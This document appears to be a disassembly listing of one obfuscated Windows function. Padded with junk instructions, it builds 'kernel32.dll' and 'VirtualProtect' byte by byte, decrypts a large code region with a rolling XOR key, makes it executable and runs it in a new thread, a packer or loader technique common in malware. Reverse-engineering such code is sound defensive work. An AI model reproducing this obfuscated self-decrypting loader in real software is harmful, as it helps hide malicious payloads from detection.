Function at 0x91f18b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, esi
xchg esi, ecx
call fcn.0091f550
pushfd
inc ebx
dec ebx
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0x79466407
add esp, 4
popfd
mov ebx, 0x61
pushfd
inc eax
dec eax
popfd
pushfd
push edi
add esp, 4
popfd
add bx, 0xa
pushfd
xor edx, 0x63cc997b
xor edx, 0x63cc997b
popfd
pushfd
push 0xe9903dba
add esp, 4
popfd
mov word [eax], bx
xchg ecx, ecx
sub bx, 6
xchg edi, edi
mov word [eax + 2], bx
push esi
pop esi
push edx
pop edx
add bx, 0xd
mov ebx, ebx
pushfd
inc edx
dec edx
popfd
mov word [eax + 4], bx
pushfd
inc eax
dec eax
popfd
sub bx, 4
xchg edi, ecx
xchg ecx, edi
mov word [eax + 6], bx
xchg edx, eax
xchg edx, eax
sub bx, 9
push edi
pop edi
mov word [eax + 8], bx
pushfd
xor ecx, 0xf7f800ee
xor ecx, 0xf7f800ee
popfd
add bx, 7
xchg esi, ecx
xchg ecx, esi
pushfd
push 0xe1201296
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
inc edi
dec edi
popfd
pushfd
inc ebx
dec ebx
popfd
sub bx, 0x39
push esi
pop esi
mov word [eax + 0xc], bx
pushfd
push edi
add esp, 4
popfd
dec bx
pushfd
xor ecx, 0x3e8bff62
xor ecx, 0x3e8bff62
popfd
mov word [eax + 0xe], bx
xchg edx, esi
xchg esi, edx
sub bx, 4
pushfd
inc edx
dec edx
popfd
xchg ebx, ebx
mov word [eax + 0x10], bx
xchg ecx, esi
xchg esi, ecx
add bx, 0x36
nop
mov word [eax + 0x12], bx
xchg edx, esi
xchg esi, edx
add bx, 8
push edi
pop edi
mov word [eax + 0x14], bx
xchg ebx, esi
xchg esi, ebx
push esi
pop esi
mov word [eax + 0x16], bx
pushfd
push 0xc358d59c
add esp, 4
popfd
pushfd
xor esi, 0x1c2f1fb6
xor esi, 0x1c2f1fb6
popfd
mov word [eax + 0x18], 0
push ecx
push ebx
pop ebx
pop ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push esi
add esp, 4
popfd
pushfd
xor eax, 0x6017e4e4
xor eax, 0x6017e4e4
popfd
mov dword [ebp - 0x10], eax
pushfd
push 0x79e9bb5a
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push ebx
pop ebx
mov ebx, 0x61
pushfd
push esi
add esp, 4
popfd
push ecx
pop ecx
sub bl, 0xb
xchg esi, eax
xchg esi, eax
mov byte [eax], bl
pushfd
inc eax
dec eax
popfd
add bl, 0x13
push eax
pop eax
pushfd
push 0x9ca4a0ba
add esp, 4
popfd
mov byte [eax + 1], bl
xchg ebx, edi
xchg edi, ebx
push eax
pop eax
add bl, 9
xchg esi, ecx
xchg ecx, esi
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
xchg ecx, ebx
xchg ebx, ecx
add bl, 2
pushfd
inc eax
dec eax
popfd
mov byte [eax + 3], bl
mov ebx, ebx
inc bl
mov edi, edi
mov byte [eax + 4], bl
xchg esi, esi
pushfd
push esi
add esp, 4
popfd
sub bl, 0x14
pushfd
xor edx, 0x57e438ae
xor edx, 0x57e438ae
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 5], bl
xchg ebx, edx
xchg edx, ebx
pushfd
xor eax, 0x6acf16a
xor eax, 0x6acf16a
popfd
add bl, 0xb
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 6], bl
pushfd
inc ecx
dec ecx
popfd
xchg esi, edx
xchg edx, esi
sub bl, 0x1c
mov edx, edx
mov byte [eax + 7], bl
push edx
push edi
pop edi
pop edx
add bl, 0x22
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 8], bl
xchg ebx, eax
xchg ebx, eax
pushfd
push 0x2f517df5
add esp, 4
popfd
sub bl, 3
pushfd
inc ebx
dec ebx
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 9], bl
pushfd
xor esi, 0x6da891df
xor esi, 0x6da891df
popfd
add bl, 5
mov ebx, ebx
pushfd
xor edx, 0x940ce1f4
xor edx, 0x940ce1f4
popfd
mov byte [eax + 0xa], bl
mov edi, edi
sub bl, 0xf
pushfd
push esi
add esp, 4
popfd
xchg esi, esi
mov byte [eax + 0xb], bl
push eax
pop eax
sub bl, 2
pushfd
xor edi, 0x165bf55f
xor edi, 0x165bf55f
popfd
mov byte [eax + 0xc], bl
xchg ebx, eax
xchg ebx, eax
push eax
push esi
pop esi
pop eax
add bl, 0x11
xchg esi, esi
mov eax, eax
mov byte [eax + 0xd], bl
mov ebx, ebx
mov byte [eax + 0xe], 0
xchg edi, edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov eax, eax
xchg edi, edi
mov dword [ebp - 0xc], eax
pushfd
push 0x316445e7
add esp, 4
popfd
lea eax, [ebp - 8]
push ecx
pop ecx
push eax
push 4
push 0x1bdfd3
push entry0
call dword [ebp - 0xc]
pushfd
push ecx
add esp, 4
popfd
push edi
push ecx
pop ecx
pop edi
mov edi, entry0
pushfd
push ecx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov esi, 0x40100e
xchg ebx, edx
xchg edx, ebx
xchg edi, esi
xchg esi, edi
mov ecx, 0x1bdfd3
xchg edi, edi
xchg edi, edi
mov edx, 0xced3db76
push eax
push edx
pop edx
pop eax
mov ebx, 0xdfffffff
pushfd
push 0x27af9bc9
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
cld
xchg edx, edx
lodsb al, byte [esi]
mov esi, esi
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
mov esi, esi
ror edx, 5
mov eax, eax
imul edx, edx, 7
mov edx, edx
test ebx, 1
mov ecx, ecx
je 0x91f4be
mov ebx, ebx
add esi, 2
mov esi, esi
ror ebx, 1
mov esi, esi
dec ecx
mov edx, edx
test ecx, ecx
mov eax, eax
jne 0x91f497
pushfd
inc edx
dec edx
popfd
lea eax, [ebp - 8]
push esi
pop esi
pushfd
push 0x3c365af3
add esp, 4
popfd
push eax
push 0x20
push 0x1bdfd3
push entry0
call dword [ebp - 0xc]
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 4]
xchg esi, edi
xchg edi, esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg edi, edi
pushfd
push 0x28f40cc2
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push ecx
push edi
pop edi
pop ecx
pushfd
inc esi
dec esi
popfd
jmp 0x91f519